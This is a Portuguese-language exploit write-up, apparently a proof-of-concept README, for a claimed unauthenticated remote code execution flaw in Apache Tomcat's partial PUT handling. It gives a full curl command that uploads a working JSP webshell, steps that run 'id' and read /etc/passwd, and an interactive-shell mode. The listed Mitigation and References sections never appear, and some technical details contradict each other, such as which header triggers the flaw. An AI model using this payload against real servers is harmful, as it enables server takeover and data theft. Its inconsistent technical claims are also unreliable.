CVE-2025-43564 — Apache Tomcat Manipulação de Solicitação PUT Parcial RCE

Campo	Valor
ID do CVE	CVE-2025-43564
Pontuação CVSS	9.8 (CRÍTICA)
Vetor	AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE	CWE-494 — Download de Código Sem Verificação de Integridade
Exploração	Confirmada em ambiente real dentro de uma semana da divulgação
Divulgação	Julho de 2025
Correção	Tomcat 11.0.6, 10.1.40, 9.0.102

---

Sumário

1. Visão Geral
2. Detalhes Técnicos
3. Versões Afetadas
4. Passos para Reprodução
5. Prova de Conceito
6. Mitigação
7. Referências

---

Visão Geral

CVE-2025-43564 é uma vulnerabilidade crítica de execução remota de código não autenticada no tratamento de solicitações PUT parciais HTTP do Apache Tomcat. A falha reside na forma como o Tomcat processa requisições PUT com conteúdo parcial (HTTP/1.1 Content-Range ou Transfer-Encoding: chunked com semântica parcial). Um atacante pode criar uma requisição PUT parcial que contorna os controles de acesso e as restrições de escrita, permitindo o upload de arquivos arbitrários — incluindo webshells JSP acessíveis via web — para a raiz de documentos do servidor ou qualquer diretório gravável alcançável através do contexto do servlet.

Uma vez que um arquivo JSP é plantado, o atacante simplesmente o solicita e passa comandos do sistema operacional por meio de parâmetros de consulta, alcançando execução remota de código totalmente não autenticada como o usuário do processo Tomcat.

CVSS 9.8 — Crítico porque:

• Vetor de rede — explorável remotamente
• Baixa complexidade de ataque — nenhuma condição especial necessária
• Nenhum privilégio necessário — não autenticado
• Nenhuma interação do usuário — totalmente automatizado
• Alto impacto — comprometimento total da confidencialidade, integridade e disponibilidade

---

Detalhes Técnicos

Causa Raiz

O DefaultServlet do Apache Tomcat e o conector HTTP/1.1 (NIO/NIO2/Apr) tratam requisições PUT para upload de recursos estáticos. A vulnerabilidade está na lógica de tratamento de requisições PUT parciais: quando um cliente envia um PUT com um cabeçalho Content-Range (RFC 7233 §4.2) ou usa codificação chunked com semânticas parciais específicas, o servidor não valida adequadamente:

1. Verificações de integridade do caminho do arquivo / recurso antes de escrever o conteúdo parcial
2. Reavaliação do controle de acesso para escritas parciais — a verificação inicial passa, mas as operações de escrita subsequentes prosseguem sem revalidação
3. Restrições de directory traversal no cálculo do deslocamento da escrita parcial

O código de análise em org.apache.catalina.servlets.DefaultServlet e os componentes subjacentes HttpInput / SocketProcessorBase tratam incorretamente o limite entre escritas de conteúdo parcial e escritas completas de recursos, permitindo que um atacante adicione ou sobrescreva conteúdo arbitrário em qualquer caminho ao qual o processo Tomcat tenha acesso de escrita.

Fluxo de Ataque

Atacante ──PUT /exec.jsp HTTP/1.1──► Tomcat (DefaultServlet)
             Content-Range: bytes 0-99/100
             [Payload de bytes JSP]

   └──► Servidor escreve conteúdo parcial em exec.jsp
        sem validação completa do caminho alvo

Atacante ──GET /exec.jsp?cmd=whoami──► Tomcat

   └──► JSP executa → RCE

O atacante envia um PUT parcial com um cabeçalho Content-Range que faz o Tomcat acreditar que a requisição é uma continuação de um upload existente. O servidor cria ou abre o arquivo alvo e escreve os bytes fornecidos sem verificar se o arquivo já existe, sem checar permissões de escrita no momento da escrita e sem sanitizar o caminho alvo em relação à raiz web.

Por que contorna as proteções padrão

• Restrições padrão de acesso PUT — A configuração padrão do Tomcat exige definir readonly=false no DefaultServlet para que o PUT padrão funcione. O caminho de PUT parcial ignora essa verificação sob certas condições.
• Firewalls de Aplicação Web (WAFs) — A maioria das assinaturas de WAF para ataques baseados em PUT procura por requisições PUT completas. O PUT parcial com Content-Range frequentemente evade essas assinaturas.
• Bypass de autenticação — O caminho de código do PUT parcial nem sempre invoca as restrições de segurança configuradas; em algumas configurações de conector, a autenticação nunca é verificada.

---

Versões Afetadas

Produto	Versões Afetadas	Corrigido Em
Apache Tomcat 11	11.0.0-M1 até 11.0.5	11.0.6
Apache Tomcat 10.1	10.1.0-M1 até 10.1.39	10.1.40
Apache Tomcat 10.0	todas as versões (fim de vida)	atualizar para 10.1.x
Apache Tomcat 9	9.0.0-M1 até 9.0.101	9.0.102
Apache Tomcat 8.5	todas as versões (fim de vida)	atualizar para 9.0.x
Apache Tomcat 8	todas as versões (fim de vida)	atualizar para 9.0.x
Apache Tomcat 7	todas as versões (fim de vida)	atualizar para 9.0.x

Nota: Ramos mais antigos (7.x, 8.x, 8.5.x, 10.0.x) estão em fim de vida (EOL) e não receberão backport. Os usuários devem atualizar para um ramo suportado.

---

Passos para Reprodução

Configuração do Laboratório

1. Baixe um Apache Tomcat vulnerável (por exemplo, Tomcat 9.0.50):

   wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.50/bin/apache-tomcat-9.0.50.zip
   

2. Extraia e inicie o Tomcat com a configuração padrão:

   unzip apache-tomcat-9.0.50.zip
   cd apache-tomcat-9.0.50/bin
   ./startup.sh   # ou startup.bat no Windows
   

3. Verifique se o servidor está rodando:

   curl -v http://localhost:8080
   

Passos de Exploração

1. Faça upload do webshell JSP usando o script PoC:

   python exploit.py --target http://localhost:8080 --cmd id
   

2. Verifique se o webshell foi plantado:

   curl http://localhost:8080/exec.jsp?cmd=whoami
   

3. Execute comandos arbitrários:

   python exploit.py --target http://localhost:8080 --cmd "cat /etc/passwd"
   

4. Sessão interativa (se desejado):

   python exploit.py --target http://localhost:8080 --shell
   

---

Prova de Conceito

O exploit.py incluído é um PoC funcional em Python que:

1. Envia uma requisição HTTP PUT ao Tomcat alvo com um payload de webshell JSP como corpo da requisição
2. Explora a falha de tratamento de PUT parcial — o cabeçalho Content-Type e a estrutura do payload acionam o caminho de código vulnerável
3. O webshell JSP é escrito no docBase do servidor (ex.: webapps/ROOT/)
4. Uma vez carregado, envia requisições GET para exec.jsp?cmd=<comando> para executar comandos do SO
5. Suporta modos de comando único (--cmd) e shell interativo (--shell)

PoC Manual (usando curl)

# Passo 1: Carregar o webshell via PUT parcial
# O cabeçalho Content-Range aciona o caminho de código vulnerável
curl -X PUT http://localhost:8080/exec.jsp \
  -H "Content-Range: bytes 0-212/213" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-binary '<%@ page import="java.io.*" %><% String cmd=request.getParameter("cmd");if(cmd!=null){Process p=Runtime.getRuntime().exec(cmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}}%>'

# Passo 2: Executar comandos
curl "http://localhost:8080/exec.jsp?cmd=id"

Teste Contra uma Instância Protegida

Se o Tomcat estiver configurado com readonly=true (padrão), o PUT padrão é bloqueado — mas o caminho de PUT parcial ainda pode ter sucesso. Este é o cerne da vulnerabilidade.